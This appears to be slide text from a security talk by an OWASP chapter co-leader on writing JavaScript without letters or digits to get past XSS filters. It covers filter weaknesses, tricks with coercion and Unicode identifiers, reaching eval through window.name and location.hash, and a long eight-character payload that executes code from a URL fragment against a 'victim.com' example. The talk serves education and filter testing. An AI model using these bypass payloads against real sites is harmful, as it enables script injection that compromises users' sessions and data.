3. ⦿Real life scenario: XSS filter blocks alphanumeric.
⦿Can defeat XSS filters.
⦿May not be easily detected
⦿The smartest answer is simply because we can.
4. $ whoami
$ Nahidul Kibria
@nahidupa
Synack Red Team,
Co-Leader, OWASP Bangladesh Chapter,
Principal Software Engineer - Orbitax Bangladesh Ltd.
Writing code for fun and food. Security enthusiastic.
5. HTML and JavaScript are live side by side
So if user insert malicious JavaScript that will
execute in client side
7. ⦿ ASP.NET built-in protection.
⦿ Microsoft Anti XSS.
⦿ Anti Samy
⦿ Mod security
⦿ Angular $sanitize
8. ⦿ Goal:
• Remove all scripts from untrusted HTML
⦿ Challenges:
• Many HTML features that allow scripting
• Proprietary extensions to HTML
●<svg>
• Parsing invalid HTML (Browser support this)
• Browser bugs
10. ⦿ • String matching filters
⦿ • HTML DOM parsers
⦿ • Canonicalization
⦿ • Whitelisting
11. Remove all script tags:
s/<script>//g;
Bypasses:
▪ Invalid HTML accepted by browsers
▪ Encoding of attribute values and URLs
▪ Using the filter against itself:
▪ <scr<script>ipt>
▪ Incomplete blacklists
13. ⦿ Getting window reference.
⦿ Directly ‘window’ are blacklisted in XSS filter.
⦿ Why we are interest in ‘window’
⦿ Window reference give you more opportunity.
Like
⦿ Open popup
⦿ Redirect “window.location”
⦿ Read write window title and a lots
15. Numbers or letters not allowed
⦿ So we first try to get a window reference .
⦿ Then for POC just show a window.alert(1)
⦿ Lets try to write code x=[].sort,so x(1);
Any Idea?
16. ⦿ Variables name can be Unicode or certain symbols
• _ , $, ٥, ੫, ੪, ૨, ୩, ୫, ୬, ୯ etc..
⦿ Dynamically weak type,can freely type convert
• var x=+'2'; //string
• x= x+1; //x!3 //integer
⦿ arrays and objects become strings in concatenations
• x=[1]+[true] //x ! '1true'
• x=1+true // x ! 2
⦿ strings can be treated as arrays of letters
• x='test' //x[0] ! 't‘ x[1] ! 'e' x[2] ! 's' x[3] ! 't'
⦿ Array notation can be used for methods/properties
• x=window['alert']; //x(1) ! window
22. ❑ so we have window now what?
❑ To get eval we need a "v"
' '+([].sort)->'function sort(){native code] }'
❑ But getting some letters can be difficult perhaps even
impossible.
❑ true,false and object only provide 12 letters
❑ ''+1/0->Infinity' //gives 'n'
❑ /./['constructor'] //Gives 'p'
❑ String.formCharCode requres an 'h','c'
❑ What if we could load code from elsewhere?
❑ window.name
❑ location.hash
23. ❑ Window.name='alert(1)'
❑ window['eval'](window['name'])
❑ window.name='javascript:alert(1)'
❑ window[location']=window['name']
❑ By the way getting 'm' can take a lot code
❑ http://url/#javascript:aler(1)
❑ window['location']=window[location']['hash']
❑ but getting hash require 'h'
26. ❑ In firefox Only executing alert(1)
❑
❑ first idea : 472 character
❑ latest entry: 63 character
❑
❑ first for arbitrary code no btoa : 154
❑ latest for arbitrary code no btoa 103
❑
❑ first arbitrary code cross browser 240
❑ latest arbitrary code cross browser 160
27. ❑ So far we have assign variables and used Unicode
character look like letters.
❑ but if we build each part of string from scratch we
don't even need variables names.
❑ what's the smallest set of characters required to
execute arbitrary javascript?
28. ❑ First attempt 8 characters: []+,!()/❑ ([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])
[+!![]]+(!![]+[])[+![]]])()[(!![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+[]+(!![]
+!![]+!![]+!![]+!![]+!![]+!![])]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]](([]+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]
+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!!
[]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+!
[]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!!
[]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]])[(![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+
(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((+!![]/+([]+(+!![])+(+!![])+
(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+[])[(+!![])+[]+(!![]+!![]+!![]+!![]+!![]+!![]+!![])]+(!![]+!![]))+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!!
[]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]
+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]
+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]
+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]])
Execute: eval((''+location).slice(-2)+location)
Use with : http://www.victim.com/#"alert(1)//"
29. ⦿ Reduced 7 character sets: []+,!()
6 character sets:
❑ []+!()
❑ []+=()
❑ []+=/_
⦿ and that’s the wall
• always require []+
• Allows you to generate undefined,Infinity.NaN